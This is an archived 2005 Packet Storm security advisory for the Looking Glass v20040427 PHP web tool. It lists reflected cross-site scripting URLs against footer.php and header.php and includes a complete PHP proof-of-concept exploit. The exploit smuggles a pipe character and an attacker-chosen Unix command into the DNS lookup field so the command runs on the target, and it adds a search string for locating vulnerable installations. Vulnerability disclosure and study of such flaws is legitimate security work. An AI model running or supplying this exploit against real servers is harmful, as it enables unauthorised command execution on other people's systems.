lglass20040427.txt

2005-08-28T00:00:00
ID PACKETSTORM:39654
Type packetstorm
Reporter rgod
Modified 2005-08-28T00:00:00

Description

                                        
                                            `9.05 27/08/2005  
  
Looking Glass v20040427 arbitrary commands execution / cross site scripting  
  
description:  
Looking Glass is a pretty extensive web based network querying tool   
for use on php enabled servers.   
  
site: http://de-neef.net/articles.php?id=2&page=1  
download page: http://de-neef.net/download.php?file=2  
  
  
a) XSS:  
  
http://[target]/[path]/footer.php?version[fullname]=</a><script>alert('lol')</script>  
http://[target]/[path]/footer.php?version[homepage]="><script>alert('lol')</script>  
http://[target]/[path]/footer.php?version[no]=<script>alert('lol')</script>  
http://[target]/[path]/header.php?version[fullname]=<script>alert('lol')</script>  
http://[target]/[path]/header.php?version[no]=</title><script>alert('lol')</script>  
http://[target]/[path]/header.php?version[author]=--><script>alert('lol')</script>  
http://[target]/[path]/header.php?version[email]=--><script>alert('lol')</script>  
  
  
b) arbitrary command execution:  
a user can execute arbitrary commands using pipe char in DNS lookup query field  
  
poc exploit:  
  
<?php  
  
/* 9.05 27/08/2005  
Looking Glass v20040427 arbitrary commands execution  
by rgod  
http://rgod.altervista.org  
  
a lot of code for a pipe vulnerability...  
run it from your browser...  
make these changes in php.ini if you have troubles  
with this script  
  
allow_call_time_pass_reference = on  
register_globals = On  
*/  
error_reporting(0);  
echo '<head><title>Looking Glass arbitrary commands execution poc exploit by rgod</title>  
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">  
<style type="text/css">  
<!--  
body,td,th {color: #1CB081;}  
body {background-color: #000000;  
SCROLLBAR-ARROW-COLOR: #ffffff; SCROLLBAR-BASE-COLOR: black;  
CURSOR: crosshair;  
}  
input {background-color: #303030 !important}  
input {color: #1CB081 !important}  
.Stile5 {font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 10px; }  
.Stile6 {font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px;  
font-weight: bold;  
font-style: italic;  
}  
-->  
</style></head>  
<body>  
<p class="Stile6">9.05 27/08/2005</p>  
<p class="Stile6">Loooking Glass remote commands execution poc exploit by rgod</p>  
<p class="Stile6">a script by rgod at <a href="http://rgod.altervista.org" target="_blank">http://rgod.altervista.org</a></p>  
<table width="84%" >  
<tr>  
<td width="43%">  
<form name="form1" method="post" action="'.$SERVER[PHP_SELF].'?path=value&host=value&port=value&command=value&proxy=value">  
<p>  
<input type="text" name="host">  
<span class="Stile5">hostname (ex: www.sitename.com) </span></p>  
<p>  
<input type="text" name="path">  
<span class="Stile5">path (ex: /LookingGlass/ or just /) </span></p>  
<p>  
<input type="text" name="port">  
<span class="Stile5">specify a port other than 80 (default value) </span></p>  
<p>  
<input type="text" name="proxy">  
<span class="Stile5">send exploit through an HTTP proxy (ip:port) </span></p>  
<p>  
<input type="text" name="command">  
<span class="Stile5">a Unix command... </span></p>  
<p>  
<input type="submit" name="Submit" value="go!">  
</p>  
</form></td>  
</tr>  
</table>  
</body>  
</html>';  
  
function show($headeri)  
{  
$ii=0;  
$ji=0;  
$ki=0;  
$ci=0;  
echo '<table border="0"><tr>';  
while ($ii <= strlen($headeri)-1)  
{  
$datai=dechex(ord($headeri[$ii]));  
if ($ji==16) {  
$ji=0;  
$ci++;  
echo "<td>  </td>";  
for ($li=0; $li<=15; $li++)  
{ echo "<td>".htmlentities($headeri[$li+$ki])."</td>";  
}  
$ki=$ki+16;  
echo "</tr><tr>";  
}  
if (strlen($datai)==1) {echo "<td>0".$datai."</td>";} else  
{echo "<td>".$datai."</td> ";}  
$ii++;  
$ji++;  
}  
for ($li=1; $li<=(16 - (strlen($headeri) % 16)+1); $li++)  
{ echo "<td>&nbsp&nbsp</td>";  
}  
  
for ($li=$ci*16; $li<=strlen($headeri); $li++)  
{ echo "<td>".htmlentities($headeri[$li])."</td>";  
}  
  
echo "</tr></table>";  
}  
  
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';  
  
if (($path<>'') and ($host<>''))  
{  
if ($port=='') {$port=80;}  
  
  
  
$data="func=dnsa&ipv=ipv4&target=%7c".urlencode($command);  
  
  
if ($proxy=='')  
{$packet="POST ".$path."lg.php HTTP/1.1\r\n";}  
else  
{  
$c = preg_match_all($proxy_regex,$proxy,$is_proxy);  
if ($c==0) {  
echo 'check the proxy...<br>';  
die;  
}  
else  
{$packet="POST http://".$host.$path."lg.php HTTP/1.1\r\n";}  
}  
$packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/msword, */*\r\n";  
$packet.="Referer: http://".$host.$path."\r\n";  
$packet.="Accept-Language: it\r\n";  
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";  
$packet.="Accept-Encoding: gzip, deflate\r\n";  
$packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\r\n";  
$packet.="Host: ".$host."\r\n";  
$packet.="Content-Length: ".strlen($data)."\r\n";  
$packet.="Connection: Keep-Alive\r\n";  
$packet.="Cache-Control: no-cache\r\n\r\n";  
$packet.=$data;  
  
  
echo '<br> Sending exploit to '.$host.'<br>';  
  
if ($proxy=='')  
{$fp=fsockopen(gethostbyname($host),$port);}  
else  
{$parts=explode(':',$proxy);  
echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>';  
$fp=fsockopen($parts[0],$parts[1]);  
if (!$fp) { echo 'No response from proxy...';  
die;  
}  
  
}  
show($packet);  
fputs($fp,$packet);  
  
if ($proxy=='')  
{ $data='';  
while (!feof($fp))  
{  
$data.=fgets($fp);  
}  
}  
else  
{  
$data='';  
while ((!feof($fp)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$data)))  
{  
$data.=fread($fp,1);  
}  
  
}  
fclose($fp);  
if (eregi('HTTP/1.1 200 OK',$data))  
{echo 'Exploit sent...<br> If Looking Glass is unpatched and vulnerable <br>';  
echo 'you will see '.htmlentities($command).' output inside HTML...<br><br>';  
}  
else  
{echo 'Error, see output...';}  
  
//show($data); //debug: show output in a packet dump...  
echo nl2br(htmlentities($data));  
  
}  
?>  
  
googledork: Looking Glass v20040427  
  
  
rgod  
site: http://rgod.altervista.org  
mail: retrogod@aliceposta.it  
  
original advisory: http://rgod.altervista.org/lookingglass.html  
  
  
  
  
`